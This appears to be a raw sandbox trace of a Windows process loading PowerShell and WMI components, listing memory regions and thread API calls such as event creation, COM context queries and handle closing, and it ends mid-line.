entry_point = 0x73a91235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 3233 start_va = 0x7ef92000 end_va = 0x7ef94fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef92000" filename = "" Region: id = 3234 start_va = 0x5160000 end_va = 0x519ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005160000" filename = "" Region: id = 3235 start_va = 0x51a0000 end_va = 0x51dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000051a0000" filename = "" Region: id = 3236 start_va = 0x7ef8f000 end_va = 0x7ef91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8f000" filename = "" Region: id = 3237 start_va = 0x4f40000 end_va = 0x4f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f40000" filename = "" Region: id = 3238 start_va = 0x5d90000 end_va = 0x5dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d90000" filename = "" Region: id = 3239 start_va = 0x7ef8c000 end_va = 0x7ef8efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8c000" filename = "" Region: id = 3240 start_va = 0x44a0000 end_va = 0x44affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000044a0000" filename = "" Region: id = 3241 start_va = 0x5e40000 end_va = 0x5e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e40000" filename = "" Region: id = 3242 start_va = 0x5ed0000 end_va = 0x5f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ed0000" filename = "" Region: id = 3243 start_va = 0x7ef89000 end_va = 0x7ef8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef89000" filename = "" Region: id = 3244 start_va = 0x5e00000 end_va = 0x5e3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e00000" filename = "" Region: id = 3245 start_va = 0x5f20000 end_va = 0x5f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f20000" filename = "" Region: id = 3246 start_va = 0x7ef86000 end_va = 0x7ef88fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef86000" filename = "" Region: id = 3247 start_va = 0x44b0000 end_va = 0x44c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000044b0000" filename = "" Region: id = 3248 start_va = 0x4510000 end_va = 0x4510fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.management.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1") Region: id = 3249 start_va = 0x5f60000 end_va = 0x635ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005f60000" filename = "" Region: id = 3250 start_va = 0x4520000 end_va = 0x4520fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.management.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1") Region: id = 3251 start_va = 0x5f60000 end_va = 0x635ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005f60000" filename = "" Region: id = 3252 start_va = 0x5f60000 end_va = 0x605ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f60000" filename = "" Region: id = 3253 start_va = 0x6a3a0000 end_va = 0x6a576fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.commands.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Pae3498d9#\\ade0afceac1317e3668a9c8086d8d18b\\Microsoft.PowerShell.Commands.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.pae3498d9#\\ade0afceac1317e3668a9c8086d8d18b\\microsoft.powershell.commands.management.ni.dll") Region: id = 3254 start_va = 0x71a70000 end_va = 0x71a97fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.install.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Confe64a9051#\\1561b93d6d25c4a9c3e2659ab29a5e73\\System.Configuration.Install.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.confe64a9051#\\1561b93d6d25c4a9c3e2659ab29a5e73\\system.configuration.install.ni.dll") Region: id = 3255 start_va = 0x4510000 end_va = 0x451ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004510000" filename = "" Region: id = 3256 start_va = 0x5cc0000 end_va = 0x5cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005cc0000" filename = "" Region: id = 3257 start_va = 0x6130000 end_va = 0x616ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006130000" filename = "" Region: id = 3258 start_va = 0x7ef83000 end_va = 0x7ef85fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef83000" filename = "" Region: id = 3259 start_va = 0x7ef30000 end_va = 0x7ef7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef30000" filename = "" Region: id = 3260 start_va = 0x7ef20000 end_va = 0x7ef2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef20000" filename = "" Region: id = 3261 start_va = 0x4510000 end_va = 0x4510fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004510000" filename = "" Region: id = 3262 start_va = 0x75a70000 end_va = 0x75af2fff monitored = 0 entry_point = 0x75a723d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 3263 start_va = 0x4520000 end_va = 0x4520fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004520000" filename = "" Region: id = 3264 start_va = 0x6b450000 end_va = 0x6b469fff monitored = 0 entry_point = 0x6b4603d0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\SysWOW64\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wmiutils.dll") Region: id = 3265 start_va = 0x6b3e0000 end_va = 0x6b440fff monitored = 0 entry_point = 0x6b41bf40 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\SysWOW64\\wbemcomn2.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn2.dll") Region: id = 3266 start_va = 0x72380000 end_va = 0x72396fff monitored = 0 entry_point = 0x723835fa region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 3267 start_va = 0x5200000 end_va = 0x523ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005200000" filename = "" Region: id = 3268 start_va = 0x61b0000 end_va = 0x61effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000061b0000" filename = "" Region: id = 3269 start_va = 0x7ef80000 end_va = 0x7ef82fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef80000" filename = "" Region: id = 3270 start_va = 0x71a60000 end_va = 0x71a6afff monitored = 0 entry_point = 0x71a652a0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 3271 start_va = 0x6b3b0000 end_va = 0x6b3d0fff monitored = 1 entry_point = 0x6b3b98e0 region_type = mapped_file name = "wminet_utils.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WMINet_Utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wminet_utils.dll") Region: id = 3272 start_va = 0x4530000 end_va = 0x453ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004530000" filename = "" Region: id = 3273 start_va = 0x4530000 end_va = 0x453ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004530000" filename = "" Region: id = 3274 start_va = 0x4530000 end_va = 0x453ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004530000" filename = "" Region: id = 3275 start_va = 0x6b3a0000 end_va = 0x6b3aefff monitored = 0 entry_point = 0x6b3a93d0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 3276 start_va = 0x6aa50000 end_va = 0x6aaf5fff monitored = 0 entry_point = 0x6aaba2f0 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 3277 start_va = 0x6b380000 end_va = 0x6b397fff monitored = 0 entry_point = 0x6b381335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 3278 start_va = 0x5110000 end_va = 0x514ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005110000" filename = "" Region: id = 3279 start_va = 0x5ee0000 end_va = 0x5f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ee0000" filename = "" Region: id = 3280 start_va = 0x6170000 end_va = 0x626ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006170000" filename = "" Region: id = 3281 start_va = 0x7ef89000 end_va = 0x7ef8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef89000" filename = "" Region: id = 3282 start_va = 0x4530000 end_va = 0x4534fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wmiutils.dll.mui" filename = "\\Windows\\SysWOW64\\wbem\\en-US\\wmiutils.dll.mui" (normalized: "c:\\windows\\syswow64\\wbem\\en-us\\wmiutils.dll.mui") Region: id = 3283 start_va = 0x4540000 end_va = 0x454ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004540000" filename = "" Region: id = 3284 start_va = 0x6070000 end_va = 0x60affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006070000" filename = "" Region: id = 3285 start_va = 0x62a0000 end_va = 0x62dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000062a0000" filename = "" Region: id = 3286 start_va = 0x7ef80000 end_va = 0x7ef82fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef80000" filename = "" Region: id = 3287 start_va = 0x74940000 end_va = 0x7494afff monitored = 0 entry_point = 0x74941992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 3288 start_va = 0x73b40000 end_va = 0x73b7bfff monitored = 0 entry_point = 0x73b4145d region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 3289 start_va = 0x62e0000 end_va = 0x641ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000062e0000" filename = "" Region: id = 3290 start_va = 0x73b30000 end_va = 0x73b34fff monitored = 0 entry_point = 0x73b315df region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll") Region: id = 3291 start_va = 0x73b20000 end_va = 0x73b25fff monitored = 0 entry_point = 0x73b21673 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll") Region: id = 3292 start_va = 0x73ba0000 end_va = 0x73be3fff monitored = 0 entry_point = 0x73bb63f9 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 3293 start_va = 0x6420000 end_va = 0x657ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006420000" filename = "" Region: id = 3294 start_va = 0x74920000 end_va = 0x7493bfff monitored = 0 entry_point = 0x7492a431 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 3295 start_va = 0x73b90000 end_va = 0x73b96fff monitored = 0 entry_point = 0x73b9128d region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 3296 start_va = 0x739b0000 end_va = 0x739b5fff monitored = 0 entry_point = 0x739b14b2 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 3297 start_va = 0x6b340000 end_va = 0x6b377fff monitored = 0 entry_point = 0x6b34990e region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 3298 start_va = 0x6420000 end_va = 0x653ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006420000" filename = "" Region: id = 3299 start_va = 0x6540000 end_va = 0x657ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006540000" filename = "" Region: id = 3300 start_va = 0x4cd0000 end_va = 0x4cd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1") Region: id = 3301 start_va = 0x4ce0000 end_va = 0x4ce0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1") Region: id = 3302 start_va = 0x69830000 end_va = 0x6a39dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.commands.utility.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.P521220ea#\\f6f5592245815a51dae8c19cd5d04783\\Microsoft.PowerShell.Commands.Utility.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.p521220ea#\\f6f5592245815a51dae8c19cd5d04783\\microsoft.powershell.commands.utility.ni.dll") Region: id = 3303 start_va = 0x4cd0000 end_va = 0x4cd7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 3304 start_va = 0x4ce0000 end_va = 0x4ce7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 3305 start_va = 0x4cd0000 end_va = 0x4cdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004cd0000" filename = "" Region: id = 3306 start_va = 0x4ce0000 end_va = 0x4ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ce0000" filename = "" Region: id = 3307 start_va = 0x4d30000 end_va = 0x4d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d30000" filename = "" Region: id = 3308 start_va = 0x4d40000 end_va = 0x4d47fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 3309 start_va = 0x4d90000 end_va = 0x4d97fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 3310 start_va = 0x4d40000 end_va = 0x4d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d40000" filename = "" Region: id = 3311 start_va = 0x4d40000 end_va = 0x4d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d40000" filename = "" Region: id = 3312 start_va = 0x4d40000 end_va = 0x4d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d40000" filename = "" Region: id = 3313 start_va = 0x5c00000 end_va = 0x5c3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c00000" filename = "" Region: id = 3314 start_va = 0x5e50000 end_va = 0x5e8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e50000" filename = "" Region: id = 3315 start_va = 0x7ef80000 end_va = 0x7ef82fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef80000" filename = "" Thread: id = 180 os_tid = 0xa94 [0163.033] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4bc [0163.033] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x4b4 [0163.033] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4b8 [0163.033] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4cc [0163.033] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4c8 [0163.033] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x4c4 [0163.034] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4f0 [0163.034] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4d0 [0163.034] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4d4 [0163.034] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x4d8 [0163.034] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4dc [0163.035] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x568 [0163.035] SetEvent (hEvent=0x4cc) returned 1 [0163.035] SetEvent (hEvent=0x4bc) returned 1 [0163.035] SetEvent (hEvent=0x4b4) returned 1 [0163.035] SetEvent (hEvent=0x4b8) returned 1 [0163.035] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x360 [0163.035] SetEvent (hEvent=0x364) returned 1 [0163.046] SetEvent (hEvent=0x4c8) returned 1 [0163.046] SetEvent (hEvent=0x4c4) returned 1 [0163.046] SetEvent (hEvent=0x4f0) returned 1 [0163.065] CoCreateGuid (in: pguid=0xedf98 | out: pguid=0xedf98*(Data1=0x426731f0, Data2=0x3488, Data3=0x4bbd, Data4=([0]=0x8d, [1]=0xbd, [2]=0xbe, [3]=0x3d, [4]=0x17, [5]=0xe8, [6]=0xb2, [7]=0x0))) returned 0x0 [0163.067] ReportEventW (hEventLog=0x43d0004, wType=0x4, wCategory=0x4, dwEventID=0x193, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x22b36bc*="Stopped", lpRawData=0x22b35e4) returned 1 [0163.076] SetEvent (hEvent=0x364) returned 1 [0163.107] CloseHandle (hObject=0x364) returned 1 [0163.191] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0163.194] CoGetContextToken (in: pToken=0xef664 | out: pToken=0xef664) returned 0x0 [0163.194] IUnknown:QueryInterface (in: This=0x5812b0, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xef688 | out: ppvObject=0xef688*=0x5812bc) returned 0x0 [0163.194] IComThreadingInfo:GetCurrentThreadType (in: This=0x5812bc, pThreadType=0xef6e8 | out: pThreadType=0xef6e8*=0) returned 0x0 [0163.194] IUnknown:Release (This=0x5812bc) returned 0x1 [0163.195] CoGetContextToken (in: pToken=0xef374 | out: pToken=0xef374) returned 0x0 [0163.195] IUnknown:QueryInterface (in: This=0x5812b0, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xef398 | out: ppvObject=0xef398*=0x5812bc) returned 0x0 [0163.195] IComThreadingInfo:GetCurrentThreadType (in: This=0x5812bc, pThreadType=0xef3c4 | out: pThreadType=0xef3c4*=0) returned 0x0 [0163.195] IUnknown:Release (This=0x5812bc) returned 0x1 [0163.200] CoGetContextToken (in: pToken=0xef374 | out: pToken=0xef374) returned 0x0 [0163.200] IUnknown:QueryInterface (in: This=0x5812b0, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xef398 | out: ppvObject=0xef398*=0x5812bc) returned 0x0 [0163.201] IComThreadingInfo:GetCurrentThreadType (in: This=0x5812bc, pThreadType=0xef3c4 | out: pThreadType=0xef3c4*=0) returned 0x0 [0163.201] IUnknown:Release (This=0x5812bc) returned 0x1 [0163.221] CoGetContextToken (in: pToken=0xef374 | out: pToken=0xef374) returned 0x0 [0163.221] IUnknown:QueryInterface (in: This=0x5812b0, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xef398 | out: ppvObject=0xef398*=0x5812bc) returned 0x0 [0163.221] IComThreadingInfo:GetCurrentThreadType (in: This=0x5812bc, pThreadType=0xef3c4 | out: pThreadType=0xef3c4*=0) returned 0x0 [0163.221] IUnknown:Release (This=0x5812bc) returned 0x1 [0163.233] CoGetContextToken (in: pToken=0xef394 | out: pToken=0xef394) returned 0x0 [0163.233] IUnknown:QueryInterface (in: This=0x5812b0, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xef3b8 | out: ppvObject=0xef3b8*=0x5812bc) returned 0x0 [0163.233] IComThreadingInfo:GetCurrentThreadType (in: This=0x5812bc, pThreadType=0xef3e4 | out: pThreadType=0xef3e4*=0) returned 0x0 [0163.233] IUnknown:Release (This=0x5812bc) returned 0x1 [0163.235] CoUninitialize () Thread: id = 181 os_tid = 0xaa8 Thread: id = 182 os_tid = 0xaac [0155.140] RegCloseKey (hKey=0x360) returned 0x0 [0157.520] CoGetContextToken (in: pToken=0x6bf4b4 | out: pToken=0x6bf4b4) returned 0x0 [0157.520] CoGetContextToken (in: pToken=0x6bf438 | out: pToken=0x6bf438) returned 0x0 [0157.520] WbemDefPath:IUnknown:Release (This=0x5df230) returned 0x1 [0157.520] WbemDefPath:IUnknown:Release (This=0x5df230) returned 0x0 [0157.520] CoGetContextToken (in: pToken=0x6bf438 | out: pToken=0x6bf438) returned 0x0 [0157.520] WbemDefPath:IUnknown:Release (This=0x5df2a0) returned 0x1 [0157.520] WbemDefPath:IUnknown:Release (This=0x5df2a0) returned 0x0 [0157.520] CoGetContextToken (in: pToken=0x6bf438 | out: pToken=0x6bf438) returned 0x0 [0157.520] WbemDefPath:IUnknown:Release (This=0x5df310) returned 0x1 [0157.520] WbemDefPath:IUnknown:Release (This=0x5df310) returned 0x0 [0157.520] CoGetContextToken (in: pToken=0x6bf438 | out: pToken=0x6bf438) returned 0x0 [0157.520] WbemDefPath:IUnknown:Release (This=0x5df380) returned 0x1 [0157.520] WbemDefPath:IUnknown:Release (This=0x5df380) returned 0x0 [0157.521] CoGetContextToken (in: pToken=0x6bf438 | out: pToken=0x6bf438) returned 0x0 [0157.521] WbemDefPath:IUnknown:Release (This=0x5df3f0) returned 0x1 [0157.521] WbemDefPath:IUnknown:Release (This=0x5df3f0) returned 0x0 [0157.521] CoGetContextToken (in: pToken=0x6bf438 | out: pToken=0x6bf438) returned 0x0 [0157.521] WbemDefPath:IUnknown:Release (This=0x5df460) returned 0x1 [0157.521] WbemDefPath:IUnknown:Release (This=0x5df460) returned 0x0 [0157.521] CoGetContextToken (in: pToken=0x6bf438 | out: pToken=0x6bf438) returned 0x0 [0157.521] WbemDefPath:IUnknown:Release (This=0x5df4d0) returned 0x1 [0157.521] WbemDefPath:IUnknown:Release (This=0x5df4d0) returned 0x0 [0157.521] CoGetContextToken (in: pToken=0x6bf438 | out: pToken=0x6bf438) returned 0x0 [0157.521] WbemDefPath:IUnknown:Release (This=0x5df620) returned 0x1 [0157.521] WbemDefPath:IUnknown:Release (This=0x5df620) returned 0x0 [0157.521] CoGetContextToken (in: pToken=0x6bf438 | out: pToken=0x6bf438) returned 0x0 [0157.521] WbemDefPath:IUnknown:Release (This=0x5df690) returned 0x1 [0157.521] WbemDefPath:IUnknown:Release (This=0x5df690) returned 0x0 [0157.521] CoGetContextToken (in: pToken=0x6bf438 | out: pToken=0x6bf438) returned 0x0 [0157.521] WbemDefPath:IUnknown:Release (This=0x5df700) returned 0x1 [0157.521] WbemDefPath:IUnknown:Release (This=0x5df700) returned 0x0 [0157.521] CoGetContextToken (in: pToken=0x6bf4b4 | out: pToken=0x6bf4b4) returned 0x0 [0157.521] CoGetContextToken (in: pToken=0x6bf438 | out: pToken=0x6bf438) returned 0x0 [0157.521] WbemLocator:IUnknown:Release (This=0x5f6ace0) returned 0x1 [0157.521] WbemLocator:IUnknown:Release (This=0x5f6ace0) returned 0x0 [0157.521] CoGetContextToken (in: pToken=0x6bf4b4 | out: pToken=0x6bf4b4) returned 0x0 [0157.521] IUnknown:QueryInterface (in: This=0x581420, riid=0x71478ae0*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6bf454 | out: ppvObject=0x6bf454*=0x581430) returned 0x0 [0157.522] CObjectContext::ContextCallback () returned 0x0 [0159.127] IUnknown:Release (This=0x581430) returned 0x1 [0159.127] IUnknown:Release (This=0x5f7f0b8) returned 0x0 [0159.128] CloseHandle (hObject=0x4e8) returned 1 [0159.128] CloseHandle (hObject=0x4e4) returned 1 [0159.128] CloseHandle (hObject=0x4e0) returned 1 [0159.128] CloseHandle (hObject=0x4dc) returned 1 [0159.128] CloseHandle (hObject=0x4d8) returned 1 [0159.128] CloseHandle (hObject=0x4d4) returned 1 [0159.128] CloseHandle (hObject=0x4d0) returned 1 [0159.129] CloseHandle (hObject=0x360) returned 1 [0159.129] CloseHandle (hObject=0x4fc) returned 1 [0159.129] CloseHandle (hObject=0x4f8) returned 1 [0159.129] CloseHandle (hObject=0x4f4) returned 1 [0159.129] CloseHandle (hObject=0x4f0) returned 1 [0159.129] CloseHandle (hObject=0x4ec) returned 1 [0161.669] CoGetContextToken (in: pToken=0x6bf4b4 | out: pToken=0x6bf4b4) returned 0x0 [0161.669] CoGetContextToken (in: pToken=0x6bf438 | out: pToken=0x6bf438) returned 0x0 [0161.670] WbemDefPath:IUnknown:Release (This=0x5df3f0) returned 0x1 [0161.670] WbemDefPath:IUnknown:Release (This=0x5df3f0) returned 0x0 [0161.670] CoGetContextToken (in: pToken=0x6bf438 | out: pToken=0x6bf438) returned 0x0 [0161.670] WbemDefPath:IUnknown:Release (This=0x5df460) returned 0x1 [0161.670] WbemDefPath:IUnknown:Release (This=0x5df460) returned 0x0 [0161.670] CoGetContextToken (in: pToken=0x6bf438 | out: pToken=0x6bf438) returned 0x0 [0161.670] WbemDefPath:IUnknown:Release (This=0x5df4d0) returned 